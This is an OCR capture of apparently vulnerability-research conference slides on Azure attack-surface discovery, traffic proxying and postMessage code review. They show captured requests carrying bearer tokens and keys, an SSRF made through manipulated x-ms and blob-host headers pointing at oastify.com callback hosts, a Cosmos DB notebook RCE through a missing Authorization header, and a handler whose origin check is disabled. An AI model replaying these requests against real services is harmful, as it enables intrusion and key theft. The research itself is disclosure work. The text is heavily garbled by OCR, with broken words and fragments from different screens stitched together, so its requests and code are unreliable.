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Azure Services Overview

What’s 1n scope?

https:
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https:
https:
https:
https:
https:

Examples Endpoints and domains/subdomains

//oai.azure.com (Azure OpenAl)
//ail.azure.com (Azure AI Studio)
//explorer.digitaltwins.azure.net (DigitalTwins, 1Q0T)

//orcaresearch.blob.core.windows.net (Azure Blob, Storage)

//network.hosting.portal.azure.net (Network Iframes)

//orca-research.eastus.cloudapp.azure.com (Service Fabric)

//main.iothub.ext.azure.com (i0T Hub)
//dev.azure.com (Azure DevOps)
//api.cognitive.microsoft.com (AI/ML Services)
//research-hd.azurehdinsight.net (HDInsight %)
//powerapps.microsoft.com (Power Platform and more)
//app.powerbi.com/ (Power BI)

//eastus2.datalakeanalytics.azure.com (Data Lake Analytics)

//insights.timeseries.azure.com (Time Series Service)
//thisisOxczar.developer.azure-api.net

//main.iothub.ext .azure.com (IOT Hub)
//0xczar-diagnostics.azurefd.net (Azurefd)

(Developer Portal)
//0xczar.91864.eastus.hdinsightaks.net (HDInsight on AKS)

P T T T T T S T T A T

.graph.windows.net / *.onmicrosoft.com (Azure AD)
.azure-api.net
.cloudapp.net (Azure Cloud Services and Azure VM)
.cloudapp.azure.com (Azure Cloud Services)

.azurecr.io (Azure Container Registry)

.vo.msecnd.net (Azure Content Delivery Network (CDN))
.cosmos .azure.com (Azure Cosmos DB)

.documents.azure.com (Azure Cosmos DB)

.azurefd.net (Azure Front Door)

.vault.azure.net (Azure Key Vault)

.azmk8s.io (Azure Kubernetes Service)
.management.core.windows.net (Azure Management Services)
.origin.mediaservices.windows.net (Azure Media Services)
.queue.core.windows.net (Azure Queue Storage)
.servicebus.windows.net (Azure Service Bus)
.database.windows.net
.azureedge.net (Azure Stack Edge and Azure IoT Edge)
.trafficmanager.net (Azure Traffic Manager)

(Azure API Management)

(Azure SQL Database)

And many many more..
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Azure Services Overview

What’s 1n scope?

https:
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c & portal.azure.com/#allservices

Microsoft Azure

YVAERIN-VAVE A=W All services crosoft.com (Azure AD)
//al.azure.c| anagement)

//explorer.d Services and Azure VM)
//orcaresear; Cloud Services)

//network.ho tr Registry)

//orca-resea tnt Delivery Network (CDN))
//main.iothu bsmos DB)

//dev.azure.{ t Cosmos DB)

//api.cognit Door)

// research-h{ y Vault)

//powerapps. bs Service)

//app.powerb bt (Azure Management Services)
//eastus?2.da bws .net (Azure Media Services)
//insights.t ure Queue Storage)
//thisisOxcz] ure Service Bus)

//0xczar.918 e SQL Database)

//main.iothu Edge and Azure IoT Edge)
//0xczar-diaq Traffic Manager)

All

And many many more..
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Azure Services Overview

What’s 1in

scope?
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Azure Services Overview

What’s 1n scope?
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Azure Services Overview

What’s 1n scope?
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Methodology

e Attack Surface Discovery - Identifying and analyzing the
exposed surface area of Azure services and endpoints
equlips attackers with insights to target vulnerabilities,
allowing for effective exploitation and potential
compromise.

e Proxying - Intercepting all traffic coming from Azure
various domalns and services based on predefined preset.
Burp Suite (and not only) 1s King.

e Static Code Analysis - Identifying potential bugs and
vulnerabilities in different services endpoints and JS,
Java etc file and reviewling relevant Github repos etc.
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Methodology - Attack Surface Discovery

Azure Virtual Machine Use Case Settings

=

2 AppSyncOrca

sfender for ¢ Help

reCommenda -
% Resource health
ications
#« Essentials
Boot diagnostics

Availabail Ty

Performance diagnostics
Operations
VM Inspector (Preview)

and solve problems
Settings subscription 1D D Auto-s Reset password

= Netwo

Redeploy + reapply

Connect

) Serial console

Adrmin Cente
e Froperties  Monitoring Capabilitie
Connection troubleshoot

ES Virtual machine

Rum command
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Methodology - Attack Surface Discovery

Azure Virtual Machine Use Case

—
S | Connect

kdore Options
B

.l'-.r_ln-':':',' !-;;-l,_|

Public IF address | [ N NNENGEG

Access control (LAM)
Tags

Diagnose and sohwe problems
Unsupported by plan
Connect

s Recommended Most common
Connect

3 Bastion )

55H using Azure CLI

Networking Native 6
= MNetwork settings
Load balancing
Application security groups
MNetwork manager
Settings
o

& Disks

! Extensions + applications
< More ways to connect (3)

Request

Pratty Raw M

1 POST fapisutilities/getClientIp HTTP/1.1

»[Host: atm.portal.azure.com |

i Content=Length: 2

i Sec-Ch=Ua: "Chromium";w="124",

» X-Ms-Client-5ession-Id:
X=-Ms-Command-Mame: GetClientIP

' Accept=Language: en
Sec-Ch-Ua-Mobile: 70

) Authorization: Bearer

"Google Chrome";wv="124", "Not-A.Brand";v="99"

qmkg jM7LEMGSk4RIUIUryBDZCK M5 IWT 07 dIPYsmvYpOBroygkIRXndG2rLnAPx5167j T_GGIVoGESUCNE 7T jWuubw_

pnlmYYjK-MmkzVQacHh5zpu2POYZA
} X=Ms-Effective-Locale: en.en-us

11 Content-Type: application/json
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Methodology - Attack Surface Discovery

Azure Virtual Machine Use Case

.blob.storage. azure. net
blob.storage.azure. nat
.blob. storage. azure. net

Create a virtual machine

Basics  Disks  Networking Management Monitoring  Advanced

Request
Configure monitoring options for your VM. - _
Raw Hex =] \n =
Alerts 1 GET
/I > 5 (- b un t u . 1dd c N 0 . < c reen
Use this feature to troubleshoot boot failures for custom or platform images. Bogt shot.bmp?sv d&se=
duagnostlcs with manaqed storage account sxgn;f:cantly improves creation timé of 2024-05-01TeB%3ad43%3Iald7L&s p= r&_=1?14545}‘2 7989 HTTP/1.1
Virtual machines by using pre-provisioned storage accounts managed by Microsoft 2 Host: .blob.storage.azure. thI )‘IUI" [v' N ame
Learn more 3 lﬁ,ccept: *;*
- 4 X-Ms-Client-Session-Id:
Boot diagnostics () ®) Enable with managed storage account (n 5 X-Ms-Client-Request-Id:
e ‘ 6 Accept-Language: en
(_) Enable with custom storage account 7 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 1@_15_7) AppleWebKit/537.36 (KHTML, like
O Disable Gecko) Chrome/124.08.90.8 Safari/537.36
8 X-Ms-Effective-Locale: en.en-us

9 Origin: https://portal.azure.com
Enable OS guest diagnostics D 18 Sec-Fetch-5ite: cross-site
11 S5ec-Fetch-Mode: cors
12 Sec-Fetch-Dest: empty
Health 13 Accept-Encoding: gzip, deflate, br
14 Priority: u=1l, i
Enable application health monitoring C] 15 Connection: close
16

A new (shared) blob storage endpoint
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Methodology - Attack Surface Discovery

Azure Virtual Machine Use Case
‘" [0 Elements Console > A6 ms5 8 O
[ @ tpy ©

157 Issues: B 5 W17 @135 {8

§: EEEEENEN | Serial console

? D B » 6 messages > con G = ["localhost:1340",
N 1 1 " "localhost:3000", “localhost:3001",
Starting Write warning to Asure ephemeral disk.. No user m... “localhost:55555", "“azconsole-
[ ] Finished Write warning to Azure ephemeral disk. df.azurewebsites.net”,
[ ] Reached target Hulti-User System. No errors “portal.azure. com"

Reached target Graphical Interface. e
Starting Execute cloud user/final scripts... » /\ 6 warnings
0)

’
"rc.portal.azure.com", "ux-
rc.console.azure.com™,

. ms.portal.azure.com",
No info “iaas.ext.azure.com", "portal.azure.net’
‘ux.console.azure.t “portal.azur
No verbose Areashadrvisic -l R =
portal.azure.cn",
‘azureportal.usgovcloudapi.net”,
“azureportal.chinacloudapi.cn",

Starting Update UTMP about System Runlevel Chang
| ] Finished Update UTMP about Systesm Runlevel Chang
gi=info: +++++++4+4+H44+414 444 H 44 tAuthorized keys
e

CleiNfor fommmmmmmm e m m o '

laas.ext.azure.us",

o o -

ci-info: | Keytype | “portal.dev.serialconsole.azure.com”,
Options | Comment "portal.int.serialconsole.azure.com",
ci-info: tmmmm—m——- e "portal.serialconsole.azure.con" |
ettt e e + pOTtal.Seriatconsote. aZure.us ,
ci-info: | ssh-rsa | “portal.serialconsole.azure.cn",
= | generated-by-azure | “portal.int.serialconsole.azure.us",
Ci=info! teccccmcccfecm s ————————— “int.portal.serialconsole.azure.cn”,

o o o - -

. “"portal.int.serialconsole.azure.cn");
<l4>May 1 06:38:2]1 cloud=-init: #F#FFFe FRFFRRRRRR

<l4>May 1 06:38:21 eleud-init: - <
<l4>May 1 06:38:211 cloud-inie: 2 Pl S o e AR RAAR Ab e o
At <l4>May 1 06:38:21 cloud-init: 2 7 £ odbesslinedals s
uter P G.filter(endpoint
<l4>May 1 06:38:21 cloud-init: 3 3 3t
N <l4>May 1 06:38:21 cloud-init: - . B endpo:nt.mcludes(u e }.;1 ) |!
. <14>May 1 06:38:21 cloud-init: #FFFFRFRIFIIRFRIFIIRRIIN endpoint.includes("console”));
Azure Serial Console ¢
> filteredEndpoints

embedded as an iframe
and revealing many
more common endpoints

& (11) ['azconsole-df.azurewebsites.net',
‘ux-rc.console.azure.com', 'ux.console.
azure.us', 'portal.dev.serialconsole.az
ure.com', ‘portal.int.serialconsole.azu
re.com', ‘portal.serialconsole.azure.co

>
m', ‘portal.serialconsole.azure.us', 'p
[ 27.704103) cloud-init[1619): Cloud-init w. 24.1.3-0Ouk ortal.serialconsole.azure.cn', ‘'portal.
38:21 +0000. Up 27.46 seconds. int.serialconsole.azure.us', 'int.porta
[ 27.712423] cloud-init[1619): Cloud-init v. 24.1.3-Ouk l.serialconsole.azure.cn', 'portal.int.
tassures DataSourcsAzura [asads/daviarfdl. s 27.69 sacon serialconsole.azure.cn')
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Methodology - Attack Surface Discovery

Azure Virtual Machine Use Case

Request Response
Raw Hex E \n Raw Hix
1 GET /n/connector/consoleconn-Lyfe6/sessions/ I | = \icnt 7 1 HTTP/1.1 181 Switching Protocols

authorization= 2 Server: nginx
! Date: Wed, @1 May 2824 @6:54:55 GMT
I Connection: upgrade
5 Upgrade:
Sec-WebSocket-Accept: p
" Strict-Transport-Security: max-age=31536@8
ontent-Type-0Options: nosniff

Connection: Upgrade
4 Pragma: no=-cache
Cache=Control: no-cache
(Macintosh; Intel Mac 05 X 10_15_7) ApplewWebKit/537.36 (KHTHML, like
) Chrom .B.0.9 Safari/537.36
F I_Ipl!_]r'.aﬁe: Wi
Origin: ht €. aZUre.com
Sec-WebSocket-Ve n: 13
) Accept-Encoding: gzip, deflate, br
Accept-Language: en-=U5,en;q=0.9,he;q=0.8

Sec-WebSocket-Key: [
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Methodology - Attack Surface Discovery

Azure Virtual Machine Use Case

/batch
https://management.azure.com >

/api/invoke
/22?

Manipulating Request Headers
https://portal.azure.com::i:::;r/content/
/Api/
JS Files

JS Files (Compute)

https://afd-v2.hosting.portal.azure.net ———»
/Compute/Dynamic/..

HTML pages that are embedded within
the Azure Portal (PostMessage)

https://compute.hosting.portal.azure.net/compute/Content/..

///////'https://wac.azure.com

External Endpoints —/—»
https://portal.serialconsole.azure.com

https://s2.security.ext.azure.com

Intercept CLI calls

PrivEsc?

Authentication flaw(s)?

Token/Refresh Tokens
(Oauth)

az vm Github repo
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Methodology

e Attack Surface Discovery - Systematically identifying and
analyzing the exposed surface area of Azure services and
endpoints equips attackers with insights to target
vulnerabilities, allowing for effective exploitation and
potential compromise.

e Proxying - Intercepting all traffic coming from Azure
various domalns and services based on predefined preset.
Burp Suite (and not only) 1s King.

e Static Code Analysis - Identifying potential bugs and
vulnerabilities in different services endpoints and JS,
Java etc file and reviewling relevant Github repos etc.
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Methodology - Proxying

’////,///’/'Telemetry
> —
° Ignorlng Background Noises \React blade endpoints https://sandbox-[0-9]-[0-

9] .reactblade.portal. azure. net

Client Trace Endpoints

“OneCollector” Requests

e Cross Services/Domains Interactions

* Headers, Headers Everywhere
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Methodology - Proxying

Ignoring Background Noises - Examples

POST
POST

https://browser.events.data. microsoft.com
256  https://portal.azure.com
255 https://portal azure.com POST
254 https://management.azure.com POST
;-.-? Target scope 253 https://sandbox-7-2 reactblade.portal . azure.net GET
= 252 https://sandbox-7-1.reactblade.portal. azure.net GET
251 https.//portal.azure.com 253

hr Use these settings 1o define exactly what hosts and URLs constitute the target fo

/OneCollector/1.0/?cors=true&content-type=
/api/Telemetry

/api/Portal/GetlLazyUserData
/batch?api-version=2020-06-01

/React/Iindex?reactView=true&l=en.en-usétru
_ _ /React/Index?reactView=truedl=en.en-usétru:
hitps:/fsandbox-7-2.reactblade. portal . azure. nat

GET MReact/Index PreactView=trueldl=en.4

Use advanced scope control 250  https://afd-v2.hosting.portal.azure.net 252  hitps:/fsandbox-7-1.reactblade. portal . azure. net GET /React/Index freactView=truedl=an.J{
246 https://portal.azure,com 251 https://portal.azure.com POST fapi/Portal/GetEaryUserData
Inchuie In acope a ; https://afd-v2.hosting. portal. azure.net GET lapi‘getAuthToken?s=fTdc 74252959
eques
Add Enabled Protocol Hest / IP range 2 https:/fportal. azure.com GET f
- Pret Raw Hex JSON Web Token
Edit Anvy arure.* Yy 7, :
A . Any azuresynapse” “source":"Early.Base" Request
Arvy cognitive” “action":"msaljsEnabled"”, Raw Hex
Paste UAL Arvy “videoindexer* “actionModifier":"mark"
Ay “arureadge’ }, 1 GET /React/Index?reactView=true&l=en.en-us&trustedAuthority=https://portal.azure.com&contentHas
Load ... Ay "windows® { f7dc742529594607%aelbae234fa324b HTTP/1.1
- e Rl "timestamp":1696490083417 Host: sandbox-7-2.reactblade.portal.azure.net
p '
Ty R “source":"Early,.Base", Sec=Ch=-Ua: "Google Chrome™;v="117", "Not;A=Brand”;v="8", "Chromium";w="117"
P “action":"ValidTokenInSessionAut 4 Sec-Ch-Ua-Mobile: 7@
Add Enablad Protocod Hest / I range "actionModifier”:"mark" sec-Ch-Ua-Platform: “mac0s"
Edit HTTPS Aportalazurel. com$ h Upgrade-Insecure-Requests: 1
HTTPS *portal.azure’. com$ d { ' User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gec
Remaove HTTES portal, azureh, coms ' "tlmcsl:)lmp :16964?698;5?5' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imagesavif, image/webp, imagesapng,
HTTPS . management, azure, com® Povree CREarly”s E ) Sec-Fetch-5ite: cross-site
Faste LIAL 08 “action":"HostingServiceFallback
HTTPS A portal. azuret.com$ & i o = @ Sec-Fetch-Mode: navigate
Load ... HTT Aportal, § ' S ST Al L SRy Sec-Fetch-Dest: iframe
i FRCH TN 30T} “duration®:117.59999999403954 : '
- LECEM, e ] } 2 Referer: https://portal.azure.com/
(' i Accept-Encoding: gzip, deflate, br

“timestamp":1696490083642,
“source":"MsPortalEarly",
“action":"EarlyMani
“actionModifier":"complete”,
“duration":203.40000000596046

1 Accept-Language: en-IL,en;q=8.9,he-IL;q=0.8,he;q=0.7,en-U5;q=0.6,pl;q=0.5

Connection: close
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Methodology - Proxying

e Tgnoring Background Noises

»

e Cross Services/Domains Interactions

Azure Seince X I Azure Iomain

Azure Service Y I Non-Azure Domain

* Headers, Headers Everywhere
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Methodology - Proxying

Azure Bing Resources Use Case

Cross

Services/Domains Interactions

O resea rch-bing

Overview
Activity log

Access control (LAM)

Tags

Diagnose and sotve problems

RESOURCE MAMAGEMENT

i

Cruick start

Keys and Endpoint
Pricing tier

Billing By Subscription
Propérties

Locks

Manitaring

Alerts

Diagnostic setti

Logs

Automation

Try me Sample code Tutorials

Bing Web Search APl enables safe, ad-free, location-aware search results, surfacing
infoermation from billions of web documents. Help your users find what they're look
from the world-wide-web by harnessing Bing's ability to comb billions of webpages

videos, and news with a ﬁ-.n.glp APl call

Search Terms *

Search Torms *

Market

Search results

The New Bing - Learn More
https://www.bing.com/new

g the new Bing. Ask real ¢

Microsoft’s Bing is the first threat to
Google's search dominance in
https://finance.yahoo.com/news/microsofts-
bing-is-the-first-threat-to-googles-search
dominance-in-decades-210913597 html

We are going « ove ! G Jhe ¢

y Bing's 3

New Bing: What has changed and
what's the same
https://timesofindia.indiatimes.com/gadgets
news/new-bing-what-has-changed-and-
whats-the-same/articleshow/97767187.cms

vorid qu
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Methodology - Proxying

Azure Bing Resources Use Case

Cross Services/Domains Interactions

PIP: CP="NON UMI C0M NAV STA LOC CURa DEVa PSAa PSDa OUR IND™

Access=Control-Expose-Headers: Operation-Location,Lecation

Access-Control-Allow-0rigin: =

Accept=CH:

Cec-(H-UA-Bitness  Sec-CH-UA-Arch, Sec-CH-UA-Full-Vers ion, Sec-CH-UA-Mobile, Sec-CH-UA-Mode , Sec-{H-UA-Plat form—Vers Lor
A=-Platform, Sec=CH=UA, UA-Bitness, UA=Arch, BA=Full=Version, UA=-Mobi e, UA-Hode |, UA-Plat form=-Version, UA-Platfors, UA

s ICS | wlAAACHey Jvem | nalk 10 0] odHRwE 24
NT W) kb2 1hawid i DnRydlls In 1 2VGhpomPlll

joiliav

JU t=sample’ “nonce=hIMa2vTRdvZIGrpadpd
Request

onten

ffaetd.nelreports. net fapl/report Teat

Raw Hex

GET /v7.0/search?g=bing&mkt=en-US&count=3&responseFilt i
2 Host: api.bing.microsoft.com - ot Cr 202902097115 29: 452
3 Sec-Ch-Ua: "Not_A Brand";v="99", "Google Chrome";v="10 22 Stric N— .
Content-Type: application/json 24 So-81\L1ng Lsage: CopnitiveServices.Birgsearch?.Transact el
» Sec-Ch-Ua-Mobile: 70 27 Content-Length: 2391
6 User-Agent: Mozilla/5.@0 (Macintosh; Intel Mac 0S X 10_ B
7 Ocp-Apim-Subscription-Key: 4f Terycontexti{

“originalQuery™ :"bing"

8 Sec-Ch-Ua-Platform: "mac0S" LON—

"webSearchlUrl™: "https i WO e, Bing . comh S searchTog=bing"

) Accep‘t: */ % :‘.l:l{alESI.'IEL-‘-aIM‘latET;&“i":B'.&EB.
) Origin: https://sandbox-92-5.reactblade.portal.azure.n (gt heton e\ fopd.bioemerosat.con
Sec-Fetch-Site: cross-site ool A bl

sec-Fetch-Hode: cors e N ol

13 Sec-Fetch-Dest: empty e e false
Referer: https://sandbox-92-5.reactblade.portal.azure. -
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Methodology - Proxying

Azure Bing Resources Use Case

Cross Services/Domains Interactions

Intercept HTTP history WebSockets history Options
Filter: Hiding out of scope items; hiding CSS, image, flash and general binary content; matching expression appservice-diagnostics-par; hiding

Host Method

https://appservice-diagnostics.azurefd.net GET /api/appsettings/DeepSearch:AuthKey
https://appservice-diagnostics.azurefd.net GET /api/appsettings/DeepSearch:Endpoint
https://appservice-diagnostics.azurefd.net GET /api/appsettings/DeepSearch:AuthKey
https://appservice-diagnostics.azurefd.net GET /api/appsettings/DeepSearch:Endpoint
https://appservice-diagnostics.azurefd.net GET /api/appsettings/ContentSearch:Ocp-Apim-Subscription-Key
https://appservice-diagnostics.azurefd.net GET /api/appsettings/ASD_HOST
https://appservice-diagnostics.azurefd.net GET /api/appsettings/ASD_ENVIRONMENT
https://appservice-diagnostics.azurefd.net GET /api/appsettings/Applicationinsights:InstrumentationKey
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Methodology - Proxying

Azure Bing Resources Use Case
Cross Services/Domains Interactions Sensitive Keys

Intercept HTTP history WebSockets history Options

g

| binary content; matching expression appservice-diagnostics-par; hiding

URL

/api/appsettings/DeepSearch:AuthKey
/api/appsettings/DeepSearch:Endpoint
/api/appsettings/DeepSearch:AuthKey
/api/appsettings/DeepSearch:Endpoint
/api/appsettings/ContentSearch:Ocp-Apim-Subscription-Key
/api/appsettings/ASD_HOST
/api/appsettings/ASD_ENVIRONMENT
/api/appsettings/Applicationinsights:InstrumentationKey
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Methodology - Proxying

Azure Bing Resources Use Case

Cross Services/Domains Interactio
Host

https.//diag-deepsearch.azurefd.net /api'getDocuments
hitpsJfappservice-diagnostics.azurefd.net fapifappsettings/DeepSearch:AuthKey
hitpsJfappservice-diagnostics.azurefd.net faptappscttings/DeepSearch.Endpoint
hitps/appservice-diagnostics.azurefd.net faplappse tings/ContentSearch:Ocp-Apim-Subscription-Key
hitps/appservice-diagnostics.azurefd.net faplappsetiings/ASD_HOST
https://appservice-diagnostics. azurefd.-at fapifappsettings/ASD_ENVIRONMENT
hitps.Yappservice-diagnostics.azdrefd. net fapifappsettings/Applicationinsights:instrumentationkey

key:" fetchAppSettingsNeededForDeepSearch",value: function(){
var m=this;
this._backendApi.get('api/appsettings/DeepSearch:Endpoint").Sut
m.deepSearchEndpoint=c t Response
) Raw Hex \n = Raw Hex Render

) ,this._backendApi.get("api/appsettings/DeepSearch:AuthKey" ) .suri/getDocuments HTTP/1.1 HTTP/1.1 481 Unauthorized
e h 0 . _{ diag-deepsearch.azurefd.net Content-Length: 45
m-aUthKey-C:m- ttp pthﬂS-— -lUa: "Not_A Brand";v="99", "Google Chrome";v="109", Request-Context: appld=cid-vl:cVc6dcid-4d71-4a23-80d2-6

headers:new o.WM({ ium" ; v="109" | X-Powered-By: ASP.NET

" ’ b R & " = i | - H F
Content-Type":"application/json",authKey:m.authKey o S\CCache: CONFIG_NOCACHE

e-Insecure-Requests: 1 kogrl
gent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 18_15_7) JEIM
ebKit/537.36 (KHTML, like Gecko) Chrome/109.8.0.0 Safarif537.36 ' Date: Thu, @9 Feb 2023 11:36:04 GMT

: =Lounections cloco

textyntml, application/xhtml+xml,application/xml;q=0.9; image/avif, image/w
ebp, image/apng,=/*;q=08.8,application/signed-exchange;v=b3;q=0.9 1@ The request is not authorized to use this Api
Sec-Fetch=-5ite: none

B Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71

12 Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate

1 Accept-Language:
en-IL,en;q=9.9,he-IL;q=0.8,he;q=0.7,en-U5;q=0.6,pl;q=0.5
Connection: close
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Methodology - Proxying

Azure Bing Resources Use Case

Cross Services/Domains Interactions

Request Response

Raw Hex =] \n = Pretty Raw Hex

1 GET /bing/v7.0/news/search?q= HTTP/1.1 1 HTTP/1.1 401 PermissionDenied

2 Host: api.cognitive.microsoft.com 2 Content-Length: 224

3 Content-Length: 2 3 Content-Type: application/json

' 4 apim-request-id: ce915aad-6708-4bf4-b0f3-4145682172bb
5 Date: Fri, 10 Feb 2023 14:18:24 GMT

6

7

{
"error":{
"code":"401",
"message"':
"Access denied due to invalid subscription key or wrong API endpoin
scription and use a correct regional API endpoint for your resource

¥
}
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Methodology - Proxying

Azure Bing Resources Use Case

Cross Services/Domains Interactions

Request Response

: Raw Hex W = Pretty Raw Hex
GET /bing/v7.0/news/search?q=bing| ;j (
HTTP/1.1 %
2 Host: api.cognitive.microsoft.com
3 Ocp-Apim-Subscription-Key:

" _type":"News",
"readLink":"https:\/\/api.cognitive.microsoft.com\/api\/v7\
"queryContext":{

g - . "originalQuery":"bing",

SRRSES N "adultIntent":false
8
"totalEstimatedMatches" :101000000,
“sart™:|

{

"name'":"Best match",
"id":"relevance",
"isSelected":true,

The Leaked "url":"https:\/\/api.cognitive.microsoft.com\/api\/v7\/

"name":"Most recent",
n 'dll:lldatell’
: ~ -~ II.
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Methodology - Proxying

e Tgnoring Background Noises

e Cross Services/Domains Interactions

° Headers , Headers Everywhere /:Ad Hoc Service Headers

\\\\\\\\\\* Custom Headers

Generic Headers
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Methodology - Proxying

Power Platform Use Case

Headers, Headers Everywhereg

Raw Hex Pretty Raw

GET /api/invoke HTTP/1.1 HTTP/1.1 200 OK

Host: _ Cache-Control: no-cache, no-store

Authorization: Bearer Content-Length: 113

cyloel dium9 Content-Type: application/json

meG1l WlIwk Strict-Transport-Securityv: max-age=31536000: includeSubDomains

dldy) 8iLCIp x-ms—-islandgateway: GARROQ004

c3Mi0 QOMDE x-collaborator-version: 4

tYTVmZ JE20T x-ms-destination-geo: europe

MzODU ImFpb X-ms~-request-id: germanywes - b224287203

yI6Ik flx-ms-correlation-request~i la@

OHhuML ) x-ms-correlation-id: a22d33

hUGZy M 2iServer-Timing: x-ms$-igw-up qg-overhead;dur=9.7
AWMz Iy X-Content-Type-Options: nog

y 1miNW.] x-ms~-service~-request-id: 3

bWFpb | x-ms-activity-vector: 00

zaGle A=LACNE: LUNT LG_NULALNE

JjMyl \ X-Azure-Ref: Quw3vZAAAAABP xMwBmN j A20GZk0CO2ZGV
3NOcy: » 18 Date: Wed, 30 Aug 2023 @9:

YiYaN Connection: close

CZwdg 0

USNTh 4 <html><body>zkp99razkleglizkmctyfszjjgngzzkp99razkleglizkmctyfsz)jgngzzkp99razkleg

Manipulating of one Tz

dXRpI
the “x-ms-..” headers m&
in order to gain a ot

Criti Cal SSRF ii;Z?c:IrU‘v’DpFGODSsz

| User~-Agent: MSOBB/Orca_Security

X= . .
"ttp://96dgydfuecildeql)sqkkd4 laBazgqdalsa.oastify.com/7api-versio
1=2016-11-01

X-Ms-Client-Request-1d: 31/3a0dB84-aeca-4beb-b888-625€4a/416da
X-Ms-User-Agent: Maker-Studio/1.0.@ (Web; ReactNative: false)
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Methodology - Proxying

Power Platform Use Case

Headers, Headers Everywhere

XS~ ENL=10CalLl1on.: Qe
23 Xx-ms-origin-geo: germany
1 x-ms-correlation-request-id: a22d33ad-dal2-44c8-a518-0a794a45ela0
25 Accept-Language  _en—
26 Referer: https:

WJIIWkd L
MwLCJuYi
L2Y4Y2R
MXLWE DRM1ZBQ!
ldjioa gYn9DXG
L0 NMUSL. :’OUQYUIUCL L9CU<L JSURRKS LdOdégqq L5d.0adSL1liy.COnl
Sensitive JWT in 29 Connection: Close

SSRF Response

7~ ™
(2)0y € |2

aa
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Methodology - Proxying

Azure Digital Twins Service Use Case

Headers, Headers Everywhere

FwW

GET Jproxy/Blob/?restypesseryiceboonpapropert ies
explorer.digitaltwins.azure.net \r
memi s MENER G

Content=Length:

Content=Type: text/html

x-Blab-Host: radBb78hvaljlgefflox?x23fulgdf.oastify.com|.blob.core.windows.net \r i Server: Burp llabarator https:/fburpcollaborator.net/
Copiient=Lengthi @Lr 8 E

E-Powered-By:
gonnection: keep-aliwve wr x=collaborator=version

Content=Security-Policy: default-src "self

Date: Fri, @7 Oct 2022 1B:35:30 GMT

1trp2f1511pSriglnbsnySrjogsz
=fbodys

-

Click *Copy to clipboard® to genemate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will
appear below.

Number to generate: 1 Copy to clipboard Include Collaborator server location

Digital Twins
Unauthenticated SSRF seconds
by manipulating a Tin Payload

2022-0ct-07 18:32:31 UTC zadBbTEhwvaljlgetidoxTx2Itulgs

Bu 1 l d — l n serv l ce 2022-Oct-07 18:32:31 UTC zadBb 7TBhwag]1geffloeTx2 3tulgdl

2022-Dct-07 18:35:29 UTC zadBbTEhwvasjlgeti3oxTx23tulg s
he ade r 2022-0ct-07 18:35:29 UTC zadBb T Bivwasj1geffdoxn Tx23ulg o

Description Request to Collaborator Response from Collaborator

BlueHat IL



Methodology -

Azure Cosmos DB Use

Headers, Headers Everywhere

Proxyiling

Case

Raw  Hex B w

GET|
/api/containergateway/27f180bc-cf93-4c42-b23e~f27a5085da57/api/contents/notebooks
HTTP/2

Host: seasia.tools.cosmos.azure.com:10007

Accept: */=

Access~Control-Request-Method: POST

Access-Control-Requést-Headers: authorization,content-type

Origin: httpet//cosmol.azure.com

User-Aosent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KE7AL, like Gecko) Chrime/105.0.0.0 Safari/537.36

sec-Fetch-Mode: cors

i Sec-Fetch-Site: same-site

0 Sec~-Fetch-Dest: empty

1 Referer: https://cosmos.azure.com/
» Accept-Encoding: gzip, deflate

RCE was able to be
perfumed due to
misconfigured
Authorization Header

Accept-Language: en-IL,en;q=t.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

Missing Authorization Header

Pretty
HTTP/2 200 0K

Date:

! Server:

Raw

Hex

Target: https://seasia.tools.cosmos.az

2 Content-Type: application/json

Sun, 02 Oct 2022 10:25:58 GMT

TornadoServer/6.1

Access-Control-Allow-0rigin: =*

Content-Security-Policy: frame-ancestors 'self'; report-uri
/api/security/csp-report; default-src 'none’

{

“name":"no

“path":

tebooks",

ytebooks",

"last_modified":"2022-10-92710:24:35.9626292",

"2022-10-02710:24:35.9626292"

“created":
"content": [

{

"name"
"path"

:"Untitled.

:"noteboo

ipynb",

/Untitled. ipynb",

"last_modified":"2022-10-02710:24:35.9426292",
ed":"2022-10-82T710:24:35.9426292",
“content":null,
“format":null,

"creat

"mimet
"size"

ype":null,
& 5

"writable":true,

“type":

“"notebook"
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Methodology

e Attack Surface Discovery - Systematically identifying and
analyzing the exposed surface area of Azure services and
endpoints equips attackers with insights to target
vulnerabilities, allowing for effective exploitation and
potential compromise.

e Proxying - Intercepting all traffic coming from Azure
various domalns and services based on predefined preset.
Burp Suite (and not only) 1s King.

e Static Code Analysis - Identifying potential bugs and
vulnerabilities in different services endpoints and JS,
Java etc file and reviewling relevant Github repos etc.
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases

4
- = = = 89 // Set up events listener
° MlSSlng Orlgln CheCk 1) global. addEventLlstener( message", (evt: any) => {
B9Y: onst data = this._getData(evt);
)2 const isvali dJr101n = 1sTrustedOrigin(evt.origin);
t isSignatureValid = data.signature === this.trustSignature || data.signature ==
= = ] - // Messages must come from trusted origin.
i BypaSS Orlgln Valldatlon // Messages must have valid signature.
97 if (!isvalidOrigin || !isSignatureValid) {
) } '
A\Y : ”
e postMessage() "“chains 101 witch (data.signature) {
102 case s«trustSignature:

3 handleEventFrovExtens ion(evt);
L
case trustedS1gnatureForBast1onHost
._handleEventFromBastionHost(evt);

break;

108 }
109 }, false);
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Methodology - Static Code Analysis

Azure postMessage () vulnerable endpoints Use Cases
Missing Origin Check

postMessage () Chrome extension shows various post messages
Azure Connection Troubleshoot (iframe embedded in the Portal) that are being sent to the iframe postMessage() handler

Connection Troubleshoot Jetd

Grid view Topology view

about :blank

Diagram of both Nodes (Origin and Destination)

—
(1] =

orca-bastion-poc Internet

10.10.1.4 127.0.0.1

Communicating via post Messages ()
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Missing Origin Check

Connectivity.html postMessage() Handler

iraph.js connectivity.ht...rtal.azure.com X

LY -
inction receiveMessagel(event) {

ff It is critical that we only allow trusted messages through. Any domain can send a mess:

/f It is recommended that you enable the commented out check below to get the portal URL

/f if (event.origin.tolLowerCase() !== trustedParentOrigin) {
Iy return;
/)

var trustedParentOrigin = shellSrc;
